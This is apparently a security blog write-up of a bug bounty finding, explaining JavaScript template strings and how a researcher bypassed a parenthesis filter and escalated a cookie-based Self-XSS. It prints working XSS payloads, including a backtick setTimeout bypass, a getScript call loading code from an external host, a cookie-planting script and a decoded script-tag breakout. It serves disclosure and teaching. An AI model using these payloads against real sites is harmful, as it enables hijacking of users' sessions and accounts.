Transforming Self-XSS Into Exploitable XSS

This blog is describes an attempt by a security researcher to exploit a Cross-site Scripting (XSS) vulnerability. It explains the importance of template strings – including multi-line strings and tagged templates – in XSS filtering, how to overcome the document.domain issue, and the discovery and exploitation of Self-XSS, with reading suggestions.

Transforming Self-XSS Into Exploitable XSS

Security researcher Brian Hyde was accepted into Synack Red Teams private bug bounty platform and discovered a Reflected XSS vulnerability in one of their programs. The difficulties he faced in exploiting this Cross-site Scripting (XSS) vulnerability, and the workarounds he developed during his research, are highly informative and worth investigating.

Transforming Self-XSS Into Exploitable XSS

First Problem: How to Access the DOM

Initially, Hyde could not access the DOM, despite finding an XSS vulnerability. The reason behind this was that the page filtered out the parentheses on the payload that contained document.domain. So the following payload never actually worked.

alert(document.domain)

Hyde employed backticks (substituted for parentheses in JavaScript functions), so the payload looked like this.

alert `document.cookie`

Once the XSS popup worked, Hyde saw that document.domain didn’t register in the background, but was displayed on screen as text. Instead of displaying the result of the DOM attribute, the alert function displayed ‘document.domain‘.

Though the parentheses were blocked in Hyde’s initial payload, let’s take a closer look behind the scenes of the backticks.

The Importance of Template Strings in XSS Filtering

Those who use script languages such as Ruby or Python don’t have access to the powerful options in string operations that JavaScript supplies. In order to meet the various needs of modern web applications, which increasingly use JavaScript-generated content on both the server side and client side, JavaScript introduced Template Strings (also known as Template Literals). They have been available in browsers since Chrome version 41 and Firefox version 34. Since then, Template Strings have become one of the major foundations of MVVM (Model–view–viewmodel) technologies such as AngularJS and KnockOutJS.

Template Strings allow string substitution, multi-line strings, tagged templates, expression interpolation, and many more features. They are indicated using backticks instead of single or double quotes. Here is one example.

var greeting = `Yo World!`;

String Substitution

The following method adds a variable that places text in an alert using a placeholder:

var name="Netsparker Turkey";
alert(`Welcome to ${name} Blog`);

The placeholders must be between the ${ } characters. It’s also possible to call functions placeholders in the string substitution process because this process is a valid JavaScript expression.

var name="Netsparker Turkey";
alert(`Welcome to ${name.toUpperCase()} Blog`);

Here is another example with a function.

function sayHello() { return "welcome to Netsparker Blog!"; }
alert(`Dear guest, ${sayHello()}`);

If you need backticks within your strings, you have to escape the backtick characters using a backslash as in this example.

var hello= `\` is useful`;
alert(`${hello}`);

Multi-line Strings

In JavaScript, these are the most common methods when defining multi-line strings:

var greeting = "Yo \
World";

Or:

var greeting = "Yo " +
"World";

Although these methods don’t have any negative effect on our code, Template Strings introduced a new method without having to use workarounds. Using Template Strings means you no longer need to follow these methods in order to write multi-line strings.

Instead, you can write the code on multiple lines in a straightforward way.

console.log(`string text line 1
string text line 2`);

Tagged Templates

Tagged Templates are the most advanced kind of Template Strings. They enable you to use a template string as the parameter of a function. Here is an example.

var message = tag`Hello world`;

This is a function that will perform HTML encoding. The html tag processes the template string and makes certain changes to it, depending on the function.

html`<p title="${title}">Hello ${you}!</p>`

Overcoming the document.domain Issue

So far we’ve uncovered the mechanism of the backticks used in payloads with the alert function. As illustrated, instead of the result of the document.domain attribute, the text ‘document.domain‘ was displayed on the screen.

Hyde used the method below (taken from Brute Logic’s XSS cheat sheet) to overcome this issue:

setTimeout`alert\x28document.domain\x29`

The setTimeout function allows the backticks to be registered, enabling the document.domain attribute value to be added to the displayed message.

The Discovery and Exploitation of Self-XSS

Hyde also discovered a Self-XSS vulnerability on a subdomain within the scope of the Bug Bounty website with a bug bounty program. Exploiting a Self-XSS is extremely difficult, as it requires an injection using a cookie value. Changing the value of a cookie on a user’s browser, without the assistance of another vulnerability, is not possible.

However, a domain can set a valid cookie on all subdomains. Likewise, you can override the cookies on the main domain from a subdomain.

Hyde developed a plan to use the XSS he found and exploited using backticks in order to set a cookie for the subdomain. But this time, he had the character limit problem on the XSS payload. Using the XSS he found, he called an external JavaScript code found on a domain under his control. His next step was to use jQuery’s getScript function to put his plan into action. Here is a sample of the getString function.

$.getScript`//xss.example.com/xss.js`

Hyde added the following JavaScript to the site. This is how he successfully managed to transform Self-XSS into an exploitable XSS vulnerability.

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
      document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}

How the cookie value is encoded depends on the way the target website functions. Here is the base64-encoded version of the cookie value as it is used in the JavaScript code.

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

When this value is decoded and reflected to DOM, the following XSS payload works successfully.

--></script><script>alert(document.domain);//

Further Reading

For further information on the Hyde’s journey, see Cookie Based Self-XSS to Good XSS.

In addition, the Javascript guru, Addy Osmani from Google, also wrote a detailed article called Getting Literal With ES6 Template Strings, which might help you learn more about Template Strings.